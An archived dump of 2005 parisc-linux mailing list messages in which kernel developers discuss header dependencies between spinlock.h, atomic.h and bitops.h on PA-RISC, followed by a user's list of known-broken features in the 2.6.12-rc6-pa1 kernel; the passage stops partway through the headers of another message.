	<20050612073453.GA7718@elte.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624547 26870 80.91.229.3 (22 Nov 2014 02:49:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Jun 2005 06:26:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 13 Jun 2005 08:26:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 91E327D661;
	Mon, 13 Jun 2005 00:25:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19407-04; Mon, 13 Jun 2005 00:25:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 861507D655;
	Mon, 13 Jun 2005 00:25:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B1EEF7D653
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Jun 2005 00:25:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19141-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Jun 2005 00:25:53 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 462AC7D651
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Jun 2005 00:25:53 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id F10CE174EFE; Mon, 13 Jun 2005 00:25:53 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 9CF5E174EDD;
	Mon, 13 Jun 2005 00:25:52 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 642BC29803C;
	Mon, 13 Jun 2005 00:29:40 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26946-06; Mon, 13 Jun 2005 00:29:39 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id F2B1529802F; Mon, 13 Jun 2005 00:29:38 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050612073453.GA7718@elte.hu>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: q0PfYp81eSEkc76WZHQhaXN1IGRvbwCQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25143

On Sun, Jun 12, 2005 at 09:34:53AM +0200, Ingo Molnar wrote:
> 
> * Grant Grundler <grundler@parisc-linux.org> wrote:
> 
> > > thanks. I'm still wondering about the fundamental question though: why 
> > > doesnt the box boot without your patch?
> > 
> > Did you mean to ask: Why doesn't the kernel build w/o my patch?
> 
> ah, ok. If that's the case, then the main problem is that i've added 
> #include <asm/atomic.h> to linux/spinlock.h? 

Hrmm...I'm not sure I'd call that a "problem".
linux/spinlock.h uses atomic_t and following current rules,
it should include some version of atomic.h to get a definition
of atomic_t.

> If you remove that
> include from linux/spinlock.h and if you hack atomic_dec_and_lock to not 
> use atomic_t but void *, does it build fine?

I remove the include but continued to use "atomic_t" anyway.
That built too. :^)

Oh, sorry. I just realized that's still with my patch in place.
Tomorrow I'll back out my patch and see if it still builds.

BTW, I do not like "void *" if we can (and should) use a special typedef.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] spinlock consolidation, v2
Date: Mon, 13 Jun 2005 09:44:07 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20050613074407.GA13878@elte.hu>
References: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
	<20050606060512.GB30857@colo.lackof.org>
	<20050606073627.GA10387@elte.hu>
	<20050606175029.GC24437@colo.lackof.org>
	<20050612064922.GA5257@elte.hu>
	<20050612072507.GB25059@colo.lackof.org>
	<20050612073453.GA7718@elte.hu>
	<20050613062938.GD21766@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624547 26874 80.91.229.3 (22 Nov 2014 02:49:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Jun 2005 07:45:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 13 Jun 2005 09:45:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 35AE87D66B;
	Mon, 13 Jun 2005 01:44:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19841-05; Mon, 13 Jun 2005 01:44:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F17BA7D664;
	Mon, 13 Jun 2005 01:44:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C23B47D661
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Jun 2005 01:44:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19841-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Jun 2005 01:44:52 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 558707D660
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Jun 2005 01:44:52 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 94531174F04; Mon, 13 Jun 2005 01:44:49 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mx1.elte.hu (mx1.elte.hu [157.181.1.137])
	by palinux.hppa (Postfix) with ESMTP id 33E87174A60;
	Mon, 13 Jun 2005 01:44:49 -0600 (MDT)
Original-Received: from chiara.elte.hu (chiara.elte.hu [157.181.150.200])
	by mx1.elte.hu (Postfix) with ESMTP id A5BB3325159;
	Mon, 13 Jun 2005 09:42:35 +0200 (CEST)
Original-Received: by chiara.elte.hu (Postfix, from userid 17806)
	id 65BBC1FC2; Mon, 13 Jun 2005 09:44:38 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20050613062938.GD21766@colo.lackof.org>
User-Agent: Mutt/1.4.2.1i
X-ELTE-SpamVersion: MailScanner 4.31.6-itk1 (ELTE 1.2) SpamAssassin 2.63
	ClamAV 0.73
X-ELTE-VirusStatus: clean
X-ELTE-SpamCheck: no
X-ELTE-SpamCheck-Details: score=-4.9, required 5.9,
	autolearn=not spam, BAYES_00 -4.90
X-ELTE-SpamScore: -4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K1zfYmRFeSEkY76WZHQhaXN1IGRvbwCQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25144


* Grant Grundler <grundler@parisc-linux.org> wrote:

> > If you remove that
> > include from linux/spinlock.h and if you hack atomic_dec_and_lock to not 
> > use atomic_t but void *, does it build fine?
> 
> I remove the include but continued to use "atomic_t" anyway.
> That built too. :^)
> 
> Oh, sorry. I just realized that's still with my patch in place. 
> Tomorrow I'll back out my patch and see if it still builds.
> 
> BTW, I do not like "void *" if we can (and should) use a special 
> typedef.

yeah, agreed - that was just a quick hack, to see whether the dependency 
problem is sorted out via it. (i'm not sure it will be resolved) I'd 
like to address these dependency problems without having to change any 
spinlock to raw_spinlock.

	Ingo
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] spinlock consolidation, v2
Date: Mon, 13 Jun 2005 12:39:32 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <20050613183932.GA9457@colo.lackof.org>
References: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
	<20050606060512.GB30857@colo.lackof.org>
	<20050606073627.GA10387@elte.hu>
	<20050606175029.GC24437@colo.lackof.org>
	<20050612064922.GA5257@elte.hu>
	<20050612072507.GB25059@colo.lackof.org>
	<20050612073453.GA7718@elte.hu>
	<20050613062938.GD21766@colo.lackof.org>
	<20050613074407.GA13878@elte.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624547 26875 80.91.229.3 (22 Nov 2014 02:49:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Jun 2005 18:35:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 13 Jun 2005 20:35:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2445B7D651;
	Mon, 13 Jun 2005 12:35:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23586-06; Mon, 13 Jun 2005 12:35:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E0FED7D64C;
	Mon, 13 Jun 2005 12:35:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C712D7D64A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Jun 2005 12:35:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22822-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Jun 2005 12:35:46 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5B43D7D649
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Jun 2005 12:35:46 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 093FE751AC; Mon, 13 Jun 2005 12:35:46 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 97B50751A9;
	Mon, 13 Jun 2005 12:35:45 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1E11F29803C;
	Mon, 13 Jun 2005 12:39:34 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15341-04; Mon, 13 Jun 2005 12:39:32 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A0FDD29802F; Mon, 13 Jun 2005 12:39:32 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050613074407.GA13878@elte.hu>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XrffYv55eSEkNr6WZHQhaXN1IGRvb0Cb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25145

On Mon, Jun 13, 2005 at 09:44:07AM +0200, Ingo Molnar wrote:
> > BTW, I do not like "void *" if we can (and should) use a special 
> > typedef.
> 
> yeah, agreed - that was just a quick hack, to see whether the dependency 
> problem is sorted out via it.

Understood - I just don't think it's worth solving this problem generically
by dropping the type checking.  I think this problem is unique to parisc.
No matter how we sliced and dice it, bitops and spinlock will collide
on parisc.

>  (i'm not sure it will be resolved) I'd 
> like to address these dependency problems without having to change any 
> spinlock to raw_spinlock.

I don't want to hold up your patch since I believe it's a step
in the right direction.  I'm ok with changing to a raw_spinlock_t
for bitops.h for now.

Thinking more about circular dependency. It's basically
something like this:
	bitops.h depends on atomic.h for _atomic_spin_lock_irqsave/et al.
	atomic.h depends on spinlock.h for _raw_spin_lock* to
		define _atomic_spin_lock_irqsave/et al.
	linux/spinlock.h now depends on asm/atomic.h for atomic_t
		definition used in _atomic_dec_and_lock().

The next step may to seperate the definition of atomic_t (e.g moving
that to asm/types.h) from the inline code (usage) and function prototypes.
ie have 4 header files:
	spinlock_types.h	/* spinlock_t, SPIN_UNLOCKED, et al */
	spinlocks		/* spin_lock_*() */
	atomic_types.h		/* atomic_t */
	atomic.h		/* _atomic_spin_lock_*(), __xchg(), et al  */

Then linux/spinlock.h can include asm/atomic_types.h to get just the
subset it needs. asm/atomic.h will have to include linux/spinlock.h
then to use regular spinlocks then.  TBH, I don't like the general idea
of an asm/*.h depending on a linux/*.h (atomic.h including spinlock.h
respectively in this case).  But could live with it if you feel strongly
about no one using _raw_spinlocks directly.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] List of things that are known no to work on Linux/PA
Date: Fri, 17 Jun 2005 17:18:49 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <e6eae02905061709187feef001__38820.4669151039$1416624548$gmane$org@mail.gmail.com>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624548 26882 80.91.229.3 (22 Nov 2014 02:49:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:08 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: Linux/PA <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jun 2005 16:19:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 17 Jun 2005 18:19:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A5FF7D65E;
	Fri, 17 Jun 2005 10:19:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17215-10; Fri, 17 Jun 2005 10:18:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 208E87D65F;
	Fri, 17 Jun 2005 10:18:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 14DDA7D65C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 10:18:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17215-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 10:18:55 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9CCAE7D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 10:18:55 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 32464751A5; Fri, 17 Jun 2005 10:18:55 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.197])
	by palinux.hppa (Postfix) with ESMTP id E19B2751A4
	for <parisc-linux@parisc-linux.org>;
	Fri, 17 Jun 2005 10:18:54 -0600 (MDT)
Original-Received: by wproxy.gmail.com with SMTP id 58so13916wri
	for <parisc-linux@parisc-linux.org>;
	Fri, 17 Jun 2005 09:18:50 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:cc:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=VZBXHKN1IGoIT4QPFm++8jFwZyCZJNnL0QFwcMIgKZIntPsLqmn2voJDB/eTGNxxIa+aAM5UJ4k8fVCv1Y8wDUWYtBHQdl4PDQa1CNhXzIDvhC7K/AnPiocEl9AmQdTuVHe3YV8HdwDd0mhVjc0jnwV2/+a2NAiGGEFY7NFZaws=
Original-Received: by 10.54.53.25 with SMTP id b25mr1193089wra;
	Fri, 17 Jun 2005 09:18:49 -0700 (PDT)
Original-Received: by 10.54.57.24 with HTTP; Fri, 17 Jun 2005 09:18:49 -0700 (PDT)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oJLAYrUHeSEkQb6WZHQhaXN1IGRvb0AB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25146

Perhaps this should be put into a Wiki or a FAQ:
(however it could be a pain to maintain it I guess).

Anyway, for whom it might be of interest here it is:


Things that are known to be broken or not yet supported
in the latest (2.6.12-rc6-pa1) linux/PA kernel:

- NTPL is not yet supported (being worked on)
- kernel low-latency/preempt is not yet supported
- 64bit userland is not yet supported
- SMP, expecially on 64bit kernels seems to be rather unstable
- on some machines heavy I/O can cause problems
- XFS used to/is still broken
- ide-cd causes HPMC on cd-rom access; use ide-scsi instead
- Using native XFree86 drivers may cause HPMC, try to use fbdev instead
- Using fbdev with XFree86 causes HPMC on 64bit kernels
- To use onboard sound on B/C/Jxxxx use the snd_ad1889 ALSA driver,
   with OSS Emulation (native ALSA interface seems to have problems)


Please correct me if something has changed recently; I guess some of the PA
kernel hackers (and also users) might want to add a few things to this list=
 ;)

   Max


PS: sorry for cross-posting
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Schnelle <sschnelle@astaro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [OT] USB Keyboard on C3600?
Date: Fri, 17 Jun 2005 18:50:59 +0200
Organization: Astaro AG, Amalienbadstr. 36/Bau 33a, 76227 Karlsruhe, Germany
Lines: 58
Approved: news@gmane.org
Message-ID: <87slzhudu4.fsf@deprecated.intranet.astaro.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1768217663=="
X-Trace: ger.gmane.org 1416624548 26888 80.91.229.3 (22 Nov 2014 02:49:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:08 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jun 2005 16:51:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 17 Jun 2005 18:51:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C5747D675;
	Fri, 17 Jun 2005 10:51:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17886-02; Fri, 17 Jun 2005 10:51:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DE01F7D676;
	Fri, 17 Jun 2005 10:51:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F04017D673
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 10:51:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17865-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 10:51:03 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 82B417D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 10:51:03 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 4A2F6751A5; Fri, 17 Jun 2005 10:51:03 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dhost002-46.dex002.intermedia.net
	(dhost002-46.dex002.intermedia.net [64.78.21.140])
